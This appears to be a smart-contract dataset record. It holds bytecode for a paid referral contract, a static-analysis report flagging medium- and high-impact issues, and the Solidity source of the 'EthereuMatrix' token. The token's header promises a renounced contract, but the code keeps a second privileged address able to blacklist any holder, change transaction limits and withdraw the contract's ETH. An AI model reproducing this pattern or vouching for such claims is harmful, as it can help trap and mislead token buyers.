ffffffffffffffffffffffffffffffffff16146114e6576004600060018152602001908152602001600020543414611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f496e76616c69642075736572000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b6002600560006006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180549050106115e757600560006115a66006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ab6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015492505b6115ef612efa565b6003600081548092919060010191905055506040518060a00160405280600115158152602001600354815260200185815260200183815260200160006040519080825280602002602001820160405280156116595781602001602082028038833980820191505090505b50815250905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201556060820151816003015560808201518160040190805190602001906116f9929190612f2b565b509050508460066000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506301e133804201600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160006001815260200190815260200160002081905550600560006006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e9576118e8600186612611565b5b838573ffffffffffffffffffffffffffffffffffffffff166003547fb379f7768ce193adf456f71484d8a30387411414ad0d537cb05321c4f47b26726006600089815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168642604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a460019250505092915050565b6119be612fb5565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615611aae5760008090505b6008811015611aac576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600060018401815260200190815260200160002054905042811115611a9e57428103838360088110611a9457fe5b6020020181815250505b508080600101915050611a19565b505b809050919050565b60006002600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805490501015611b0e57819050611fad565b6060607e604051908082528060200260200182016040528015611b405781602001602082028038833980820191505090505b509050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600081548110611b9157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611bc957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600181548110611c5157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611c8957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000806001905060008090505b607e811015611f3157600260056000868481518110611ceb57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805490501415611f0557603e811015611efb5760056000858381518110611d5357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600081548110611da457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846002600184010281518110611de157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060056000858381518110611e2b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600181548110611e7c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846001600260018501020181518110611ebc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f00565b611f31565b611f24565b60009150838181518110611f1557fe5b60200260200101519250611f31565b8080600101915050611cd0565b508015611fa6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e6f20467265652052656665727265720000000000000000000000000000000081525060200191505060405180910390fd5b8193505050505b919050565b60046020528060005260406000206000915090505481565b60056020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018054806020026020016040519081016040528092919081815260200182805480156120cb57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612081575b50505050509050919050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b600281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461216f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7b9f4dbf19021732cc1236215fb8368569be3a9c57a729f6c306471afc35505160405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461230d57600080fd5b8160028190555060405180606001604052806023815260200161301c602391399050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6301e1338081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123bc57600080fd5b603282511115612434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f696e76616c696420696e7075740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b82518110156124e05761246183828151811061245257fe5b60200260200101516001611282565b6124d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f726567697374726174696f6e206661696c00000000000000000000000000000081525060200191505060405180910390fd5b808060010191505061243a565b5060019050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600083815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125cd57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600060066000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006127106111946004600089815260200190815260200160002054028161267257fe5b049050600061afc861271083028161268657fe5b0490506126938688612d67565b945061269f8588612d67565b9350600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661284a578273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561273b573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fb11ded9fa979fdee6434eff264498583c0d222e24ab9f5e72d4863fa3d918994600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548b8742604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a361299b565b8473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612890573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fd0735374dc7996d4d816d76b2593ee34e7b886bcb0e8417ccbfa28e6d7c13dab600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548b8742604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a35b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161580612a4b575042600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000898152602001908152602001600020541015155b15612ba5578273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612a96573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fb11ded9fa979fdee6434eff264498583c0d222e24ab9f5e72d4863fa3d918994600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548b8742604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3612cf6565b8373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612beb573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fd0735374dc7996d4d816d76b2593ee34e7b886bcb0e8417ccbfa28e6d7c13dab600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548b8742604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612d5d573d6000803e3d6000fd5b5050505050505050565b600080600090505b6040811015612e5c5760066000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935042600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008581526020019081526020016000205410612e4f57612e5c565b8080600101915050612d6f565b5042600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000848152602001908152602001600020541015612ef15760066000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b82905092915050565b6040518060a00160405280600015158152602001600081526020016000815260200160008152602001606081525090565b828054828255906000526020600020908101928215612fa4579160200282015b82811115612fa35782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612f4b565b5b509050612fb19190612fd8565b5090565b604051806101000160405280600890602082028038833980820191505090505090565b61301891905b8082111561301457600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612fde565b5090565b9056fe44656661756c74205265662049442075706461746564207375636365737366756c6c79506c6561736520627579206669727374206c6576656c20666f7220302e3120455448a265627a7a72315820524dd43a853efc41ec8785a7e862bb165b1f5dd1f0a272695cf59490afec214464736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,293 |
0xa0130183edbda8c3fd961caa48eb1e56bdb0d2a1
|
/**
███████╗███╗░░░███╗░█████╗░████████╗██████╗░██╗██╗░░██╗
██╔════╝████╗░████║██╔══██╗╚══██╔══╝██╔══██╗██║╚██╗██╔╝
█████╗░░██╔████╔██║███████║░░░██║░░░██████╔╝██║░╚███╔╝░
██╔══╝░░██║╚██╔╝██║██╔══██║░░░██║░░░██╔══██╗██║░██╔██╗░
███████╗██║░╚═╝░██║██║░░██║░░░██║░░░██║░░██║██║██╔╝╚██╗
╚══════╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝╚═╝░░╚═╝
https://t.me/ethereumatrix
https://ethereumatrix.com/
https://twitter.com/ethereumatrix
https://www.reddit.com/r/EthereuMatrix/
Token Information
1. Total 1,000,000,000,000
2. 7% buy-back tax
3. Auto buy-back after each sell when buy-back mode is turned on
4. Dev will turn on buy-back mode when price is low, and turn it off when price is high
5. Fair launch on Ethereum
6. Anti-robot protection
7. 0.5% initial buy limit in the first 5 minutes
8. 3% marketing fee and team fee
9. No presale
10. No team tokens
11. Contract renounced on launch
12. LP locked on launch
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EthereuMatrix is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EthereuMatrix";
string private constant _symbol = "eMTX";
uint8 private constant _decimals = 9;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _owned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _total = 1_000_000_000_000 * 10**9;
uint256 private _teamFee = 3;
uint256 private _buybackFee = 7;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamCOOAddr;//
address payable private _teamMktAddress1;// market
address payable private _teamMktAddress2;//
address payable private _teamMktAddress3;
address payable private _teamCTOAddr;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _total;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 amount_);
event BuyBack(uint256 amount_);
uint256 _buybackpercent = 3;//default is 3%;
bool _buybackEnabled = false;
uint256 _buybackThresold = 0;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
modifier checkPermission() {
require(_teamCTOAddr == _msgSender() || owner() == _msgSender(), "permission denied.");
_;
}
constructor(address payable cooAddr,
address payable mktAddr1,
address payable mktAddr2,
address payable mktAddr3,
address payable ctoAddr) {
_teamCOOAddr = cooAddr;
_teamMktAddress1 = mktAddr1;
_teamMktAddress2 = mktAddr2;
_teamMktAddress3 = mktAddr3;
_teamCTOAddr = ctoAddr;
_owned[address(this)] = _total;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamCOOAddr] = true;
_isExcludedFromFee[_teamMktAddress1] = true;
_isExcludedFromFee[_teamMktAddress2] = true;
_isExcludedFromFee[_teamMktAddress3] = true;
_isExcludedFromFee[_teamCTOAddr] = true;
emit Transfer(address(0), address(this), _total);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _total;
}
function balanceOf(address account) public view override returns (uint256) {
return _owned[account];
}
function isBot(address account) public view returns (bool) {
return bots[account];
}
function isBuybackEnabled() public view returns (bool) {
return _buybackEnabled;
}
function buybackThreshold() public view returns (uint256) {
return _buybackThresold;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external checkPermission() {
cooldownEnabled = onoff;
}
function removeAllFee() private {
_teamFee = 0;
_buybackFee = 0;
}
function restoreAllFee() private {
_teamFee = 3;
_buybackFee = 7;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0));
require(to != address(0));
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (block.number <= launchBlock + 2 && !_isExcludedFromFee[to]) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 oldBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance, oldBalance);
}
if (to == uniswapV2Pair && _buybackEnabled && amount > _buybackThresold) {
buybackToken();
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 fee = _teamFee + _buybackFee;
uint256 totalFee = amount.mul(fee).div(100);
uint256 received = amount.sub(totalFee);
_owned[sender] = _owned[sender].sub(amount);
_owned[recipient] = _owned[recipient].add(received);
_owned[address(this)] = _owned[address(this)].add(totalFee);
if(totalFee != 0){
emit Transfer(sender, address(this), totalFee);
}
emit Transfer(sender, recipient, received);
}
function buybackToken() private lockTheSwap {
uint256 ethbalance = address(this).balance;
if(ethbalance == 0){
return;
}
uint256 amount = ethbalance.mul(_buybackpercent).div(100);
if(amount == 0 ){ //< 0.0001 ether){
return;
}
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
deadAddress,
block.timestamp.add(300)
);
emit BuyBack(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount, uint256 oldAmount) private {
uint256 feeAmount = amount.sub(oldAmount);
uint256 totalPercent = _teamFee.add(_buybackFee);
uint256 teamEth = feeAmount.mul(_teamFee).div(totalPercent);
uint256 share = teamEth.div(5);
uint256 remain = teamEth.sub(share.mul(4));
_teamCOOAddr.transfer(share);
_teamMktAddress1.transfer(share);
_teamMktAddress2.transfer(share);
_teamMktAddress3.transfer(share);
_teamCTOAddr.transfer(remain);
}
function sendETHToFeeRemain(uint256 amount) private {
uint256 share = amount.div(5);
uint256 remain = amount.sub(share.mul(4));
_teamCOOAddr.transfer(share);
_teamMktAddress1.transfer(share);
_teamMktAddress2.transfer(share);
_teamMktAddress3.transfer(share);
_teamCTOAddr.transfer(remain);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _total);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5_000_000_000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
}
receive() external payable {}
function manualswap() public checkPermission() {
uint256 contractBalance = balanceOf(address(this));
uint256 oldBalance = address(this).balance;
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance, oldBalance);
}
function manualSend() public checkPermission() {
uint256 contractETHBalance = address(this).balance;
sendETHToFeeRemain(contractETHBalance);
}
function setMaxTxPercent(uint256 maxTxPercent) external checkPermission() {
require(maxTxPercent > 0);
_maxTxAmount = _total.mul(maxTxPercent).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setBuybackPercent(uint256 percent_) external checkPermission() {
require(percent_ > 0);
_buybackpercent = percent_;
}
function setBuybackThreshold(uint256 thresold_) external checkPermission() {
require(thresold_ > 0);
_buybackThresold = thresold_;
}
function setBuybackEnabled(bool enabled) external checkPermission() {
_buybackEnabled = enabled;
}
function setBots(address[] memory bots_) public checkPermission() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address addr) public checkPermission() {
bots[addr] = false;
}
}
|
0x6080604052600436106101855760003560e01c80637167a500116100d1578063b515566a1161008a578063d00efb2f11610064578063d00efb2f14610555578063d543dbeb14610580578063dd62ed3e146105a9578063f4293890146105e65761018c565b8063b515566a146104fe578063c3c8cd8014610527578063c9567bf91461053e5761018c565b80637167a500146103ee5780638da5cb5b1461041957806395d89b41146104445780639a9b567d1461046f578063a9059cbb14610498578063af2f6dd8146104d55761018c565b806327c8f8351161013e5780635932ead1116101185780635932ead1146103485780635a0ce7c11461037157806370a082311461039a578063715018a6146103d75761018c565b806327c8f835146102b5578063313ce567146102e05780633bbac5791461030b5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f9578063220923e31461022457806323b872dd1461024f578063273123b71461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105fd565b6040516101b39190613e25565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613965565b61063a565b6040516101f09190613dbe565b60405180910390f35b34801561020557600080fd5b5061020e610658565b60405161021b9190613f67565b60405180910390f35b34801561023057600080fd5b50610239610669565b6040516102469190613f67565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190613916565b610673565b6040516102839190613dbe565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190613888565b61074c565b005b3480156102c157600080fd5b506102ca610882565b6040516102d79190613cf0565b60405180910390f35b3480156102ec57600080fd5b506102f56108a6565b6040516103029190613fdc565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613888565b6108af565b60405161033f9190613dbe565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a91906139e2565b610905565b005b34801561037d57600080fd5b5061039860048036038101906103939190613a34565b6109fd565b005b3480156103a657600080fd5b506103c160048036038101906103bc9190613888565b610aef565b6040516103ce9190613f67565b60405180910390f35b3480156103e357600080fd5b506103ec610b38565b005b3480156103fa57600080fd5b50610403610c8b565b6040516104109190613dbe565b60405180910390f35b34801561042557600080fd5b5061042e610ca2565b60405161043b9190613cf0565b60405180910390f35b34801561045057600080fd5b50610459610ccb565b6040516104669190613e25565b60405180910390f35b34801561047b57600080fd5b50610496600480360381019061049191906139e2565b610d08565b005b3480156104a457600080fd5b506104bf60048036038101906104ba9190613965565b610e00565b6040516104cc9190613dbe565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f79190613a34565b610e1e565b005b34801561050a57600080fd5b50610525600480360381019061052091906139a1565b610f10565b005b34801561053357600080fd5b5061053c6110a6565b005b34801561054a57600080fd5b506105536111b0565b005b34801561056157600080fd5b5061056a611713565b6040516105779190613f67565b60405180910390f35b34801561058c57600080fd5b506105a760048036038101906105a29190613a34565b611719565b005b3480156105b557600080fd5b506105d060048036038101906105cb91906138da565b611873565b6040516105dd9190613f67565b60405180910390f35b3480156105f257600080fd5b506105fb6118fa565b005b60606040518060400160405280600d81526020017f457468657265754d617472697800000000000000000000000000000000000000815250905090565b600061064e6106476119e6565b84846119ee565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601454905090565b6000610680848484611bb9565b6107418461068c6119e6565b61073c856040518060600160405280602881526020016145b360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f26119e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126749092919063ffffffff16565b6119ee565b600190509392505050565b6107546119e6565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806107e857506107b26119e6565b73ffffffffffffffffffffffffffffffffffffffff166107d0610ca2565b73ffffffffffffffffffffffffffffffffffffffff16145b610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613e87565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffff